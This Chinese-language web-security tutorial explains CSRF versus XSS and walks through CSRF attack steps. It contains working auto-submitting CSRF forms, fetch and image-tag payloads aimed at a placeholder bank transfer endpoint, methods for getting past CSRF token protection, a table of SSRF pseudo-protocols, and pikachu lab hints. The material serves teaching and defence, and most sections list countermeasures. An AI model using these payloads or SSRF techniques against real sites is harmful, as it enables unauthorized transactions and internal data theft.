目录
1.CSRF和XSS区别
CSRF(Cross-Site Request Forgery)和XSS(Cross-Site Scripting)是两种常见的Web安全漏洞,它们的攻击原理和目标有所不同。
CSRF(跨站请求伪造)
原理:
CSRF攻击的主要目标是利用用户已经登录的身份,向受害者网站发起伪造的请求。这种攻击依赖于用户的身份认证信息(如Cookies或Session)自动发送到受害者网站,从而执行恶意操作。攻击者通常会通过以下步骤实施CSRF攻击:
- 诱导用户访问恶意网站:攻击者会引诱用户点击一个链接或访问一个恶意网站。
- 发送伪造请求:当用户访问恶意网站时,恶意网站会向受害者网站发起请求。这些请求会自动附带用户的身份认证信息(如Cookies)。
- 执行恶意操作:受害者网站将这些请求视为合法的用户请求,进而执行恶意操作,比如更改账户设置或发起金融交易。
举例:
假设用户在一个银行网站上已登录并持有有效的身份验证Cookie。如果用户访问一个恶意网站,该网站通过一个隐藏的表单向银行网站提交转账请求,那么银行网站会因为收到合法的Cookie而执行这笔转账,尽管这个请求实际上是由攻击者发起的。
XSS(跨站脚本攻击)
原理:
XSS攻击的主要目标是将恶意脚本注入到网页中,以便在用户的浏览器上执行。攻击者利用Web应用程序中的漏洞(如未对用户输入进行充分过滤或转义)将恶意JavaScript代码注入到网页中。用户在访问受感染的网页时,这些恶意脚本会在用户的浏览器上执行,可能会窃取用户信息、篡改页面内容或进行其他恶意活动。
XSS攻击分为三种主要类型:
- 存储型XSS:恶意脚本被存储在服务器上(如数据库中),当用户请求该内容时,脚本被执行。
- 反射型XSS:恶意脚本通过URL参数或表单输入等方式直接反射到网页中,立即执行。
- 基于DOM的XSS:恶意脚本通过修改网页的DOM(文档对象模型)来执行。
举例:
假设一个论坛网站允许用户提交评论,但没有对评论内容进行足够的过滤。攻击者可以在评论中注入一段JavaScript代码,这段代码会在其他用户访问含有该评论的页面时执行。这段脚本可能会窃取用户的Cookie或篡改页面内容。
总结
攻击原理:
- CSRF:通过伪造用户请求利用用户的身份认证信息执行未授权操作。攻击者依赖于用户的浏览器自动发送身份认证信息(如Cookies)。
- XSS:通过注入恶意脚本到网页中,在用户的浏览器上执行。攻击者利用Web应用程序的输入验证漏洞来插入和执行恶意代码。
攻击目标:
- CSRF:利用用户的身份认证信息,以用户的名义执行恶意操作。
- XSS:在用户的浏览器上执行恶意脚本,窃取数据、篡改内容或进行其他恶意活动。
防御措施:
- CSRF:使用随机生成的CSRF令牌,确保请求的合法性;检查请求来源的Referer头。
- XSS:对用户输入进行严格的验证和转义;使用内容安全策略(CSP)来限制脚本的执行来源。
2.CSRF攻击步骤
进攻步骤
1.准备阶段
- 识别目标:攻击者选择一个有受害者账户的Web应用作为攻击目标。该Web应用允许用户在登录后执行敏感操作(如更改账户信息、发起金融交易等)。
- 创建恶意请求:攻击者设计一个伪造的请求,这个请求会利用受害者的身份认证信息向目标Web应用发起请求。通常,这些请求会执行某种敏感操作,如修改用户设置、提交表单等。
2.创建恶意页面或链接
- 嵌入恶意请求:攻击者创建一个网页(恶意页面)或发送一个带有恶意请求的链接。这些恶意请求会自动提交到目标Web应用。恶意请求可以通过各种方式嵌入,例如:
- 隐藏表单:在恶意网页中嵌入一个隐藏的HTML表单,自动提交到目标Web应用。
- 图片标签:利用
<img>
标签的src
属性触发一个GET请求。 - JavaScript:通过JavaScript代码发起POST请求。
3.诱导受害者访问恶意页面
- 社交工程:攻击者使用社交工程手段诱使受害者访问恶意页面或点击恶意链接。这可以通过电子邮件钓鱼、伪装的广告、虚假的信息或其他方式来实现。
4.发起伪造请求
- 用户访问恶意页面:当受害者访问恶意网页时,浏览器会自动将受害者的身份认证信息(如Cookies)附加到恶意请求中。
- 请求被发送:恶意请求被发送到目标Web应用。由于请求是通过受害者的浏览器发起的,且带有有效的身份认证信息,目标Web应用会认为这是一个合法请求并执行其中的操作。
5.执行敏感操作
- 操作被执行:目标Web应用接收到伪造的请求后,执行其中的操作(例如更改账户设置、发起资金转账等),因为它认为这是受害者本人发出的请求。
- 无察觉:受害者通常没有意识到自己的身份被滥用,也不会看到这些伪造的请求所引发的操作结果,直到发生问题或发现账户异常。
举个例子
假设有一个银行网站,用户登录后可以发起转账操作。如果银行网站没有防护措施,攻击者可以:
- 在恶意网站上创建一个HTML表单,该表单在被访问时会向银行网站发送转账请求。
<form action="https://bank.example.com/transfer" method="POST" style="display:none;"> <input type="hidden" name="account" value="attacker_account"> <input type="hidden" name="amount" value="1000"> <input type="submit"> </form> <script>document.forms[0].submit();</script>
- 诱使受害者点击一个链接或访问恶意页面。
- 当受害者访问恶意页面时,该页面会自动提交转账请求到银行网站。因为受害者的浏览器自动附带了银行网站的身份认证Cookie,银行网站会认为这是合法的转账请求,并执行转账操作。
防御措施
为了防止CSRF攻击,可以采取以下措施:
- 使用CSRF令牌:在表单中嵌入一个唯一的、难以预测的令牌,每次请求都需要带上这个令牌,服务器会验证其有效性。
- 检查Referer头:检查HTTP请求的Referer头,确保请求来源于受信任的网页。
- 使用SameSite Cookies:设置Cookies的SameSite属性,以限制跨站请求时Cookies的发送。
- 验证请求来源:对敏感操作使用双重确认或其他额外的验证步骤。
通过这些措施,可以有效降低CSRF攻击的风险,提高Web应用的安全性。
3.CSRF手工构造POST型页面方法
1.页面结构
首先,创建一个HTML页面,其中包含一个表单。这个表单会自动提交到目标网站,以执行恶意操作。以下是页面的基本结构:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSRF Attack</title>
</head>
<body>
<form id="csrf-form" action="TARGET_URL" method="POST">
<!-- 表单字段 -->
<input type="hidden" name="field1" value="value1">
<input type="hidden" name="field2" value="value2">
<!-- 更多字段 -->
</form>
<script>
// 自动提交表单
document.getElementById('csrf-form').submit();
</script>
</body>
</html>
2.插入恶意代码
-
TARGET_URL
: 替换为你想伪造请求的目标URL。例如,如果你想伪造一个转账请求,TARGET_URL 应该是处理转账的接口地址。 -
隐藏字段: 在
<form>
标签内添加隐藏字段。这些字段应与目标网站期望的字段匹配。每个字段的name
属性应对应目标网站表单中的字段,value
属性则是你想提交的恶意数据。例如,如果目标网站的表单有
amount
和account
字段,你可以这样设置:
<input type="hidden" name="amount" value="1000">
<input type="hidden" name="account" value="attacker_account">
-
自动提交脚本: 在
<script>
标签中使用JavaScript自动提交表单。这样,用户访问你的页面时,表单会立即被提交。
示例
假设目标网站的表单需要提交一个amount
和recipient
字段,你可以创建如下的恶意页面:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSRF Attack</title>
</head>
<body>
<form id="csrf-form" action="https://bank.example.com/transfer" method="POST">
<input type="hidden" name="amount" value="1000">
<input type="hidden" name="recipient" value="attacker_account">
</form>
<script>
document.getElementById('csrf-form').submit();
</script>
</body>
</html>
注意事项
- 测试环境: 进行CSRF测试时,确保在安全的测试环境中操作,避免对实际用户数据产生影响。
- 合法性: 在合法的、安全的环境中进行测试,未经授权的CSRF攻击是违法行为。
4.token类CSRF利用方法
CSRF Token 防护机制概述
CSRF Token是一种防护措施,通过在每个请求中嵌入唯一的Token来确保请求的合法性。Token通常是随机生成的,并且与用户会话关联。Web应用程序会验证请求中的Token是否与服务器端存储的Token匹配,以确认请求的有效性。
Token类CSRF攻击原理
即使Web应用程序使用CSRF Token,攻击者也可以尝试以下方法绕过防护:
- Token泄露: 如果攻击者能够获取到用户的CSRF Token,他们可以构造带有该Token的伪造请求。
- Token预测: 如果Token生成算法不够复杂,攻击者可能能够预测Token值。
- Token重放: 在某些情况下,攻击者可能通过重放之前的有效请求来进行攻击。
Token类CSRF攻击步骤
1. 伪造请求页面
首先,攻击者需要构造一个页面或请求,包含攻击者知道的有效Token。攻击者可以利用各种手段获取Token,例如:
- 利用漏洞: 如果Web应用存在Token泄露漏洞(如通过JavaScript或错误配置的API),攻击者可以获取Token。
- 社交工程: 攻击者可能通过钓鱼邮件或其他社交工程手段诱骗用户访问恶意页面,从而获取Token。
2. 发送伪造请求
使用已知的Token,构造一个包含该Token的伪造请求。可以采用不同的方式来构造和发送请求:
- HTML表单:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSRF Attack</title>
</head>
<body>
<form id="csrf-form" action="TARGET_URL" method="POST">
<input type="hidden" name="token" value="ATTACKER_KNOWNS_TOKEN">
<input type="hidden" name="field1" value="value1">
<input type="hidden" name="field2" value="value2">
</form>
<script>
document.getElementById('csrf-form').submit();
</script>
</body>
</html>
- JavaScript Fetch API:
fetch('TARGET_URL', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: new URLSearchParams({
'token': 'ATTACKER_KNOWNS_TOKEN',
'field1': 'value1',
'field2': 'value2'
})
});
- Image Tags (仅限GET请求):
<img src="TARGET_URL?token=ATTACKER_KNOWNS_TOKEN&field1=value1&field2=value2" style="display:none;">
3. 执行攻击
用户在登录状态下访问攻击者构造的页面时,页面中的请求会被发送到目标服务器,服务器会认为这是合法用户发起的请求,并根据请求执行相应的操作。
防御措施
1. 使用随机生成的Token
确保Token是高随机性的,且每次请求都生成新的Token,防止预测和重放攻击。
2. Token与用户会话绑定
将Token与用户会话紧密绑定,确保每个用户的Token是唯一的,并且只能在当前用户的会话中使用。
3. Token的验证
服务器端验证Token时,确保它是有效的、没有过期的,并且与当前用户的会话匹配。
4. 避免Token泄露
确保Token不会被暴露在JavaScript代码中,也不应通过URL或其他不安全的方式泄露。
5. 使用SameSite Cookies
设置Cookie的SameSite
属性为Strict
或Lax
,限制Cookie只能在同一站点下发送,防止跨站点的请求携带Cookie。
示例防御策略
生成Token:
import secrets
csrf_token = secrets.token_urlsafe() # 生成安全的Token
验证Token:
def validate_csrf_token(token_from_request):
stored_token = get_stored_csrf_token() # 从用户会话中获取存储的Token
return token_from_request == stored_token
5.SSRF常用伪协议
SSRF(Server-Side Request Forgery)漏洞利用时,攻击者常使用以下伪协议:
| 常用来访问Web服务或内部API |
ftp:// | 用于尝试访问FTP服务器上的文件 |
file:// | 访问服务器本地文件系统,可能泄露敏感文件 |
dict:// | 用于字典服务,可能泄露内部网络信息 |
gopher:// | 可以访问Gopher协议的服务,尝试获取内部资源 |
mailto:// | 虽然较少用,但可以用于发送邮件,尝试绕过某些过滤器 |
telnet:// | 尝试连接到Telnet服务,可能暴露服务端口信息 |
ldap:// | 访问LDAP目录服务,可能泄露目录信息 |
smtp:// | 尝试连接到SMTP服务器,可能用于邮件相关操作 |
nfs:// | 访问NFS(网络文件系统),尝试挂载远程文件系统 |
rdp:// | 尝试连接到远程桌面协议(RDP)服务,可能暴露端口或服务信息 |
smb:// | 用于尝试连接到SMB(Server Message Block)共享,可能泄露文件或目录列表 |
redis:// | 尝试连接到Redis服务,可能读取敏感配置或数据 |
mongodb:// | 尝试连接到MongoDB数据库,可能获取数据库信息或执行恶意查询 |
mysql:// | 尝试连接到MySQL数据库,可能获取数据库信息或执行恶意查询 |
postgres:// | 尝试连接到PostgreSQL数据库,可能获取数据库信息或执行恶意查询 |
ssh:// | 尝试通过SSH协议连接到服务器,可能暴露SSH服务端口 |
6.SSRF pikachu靶场通关
1.SSRF(curl)
观察发现使url传输方式,修改url
2.SSRF(file_get_content)
观察发现使用file传输方式,修改file地址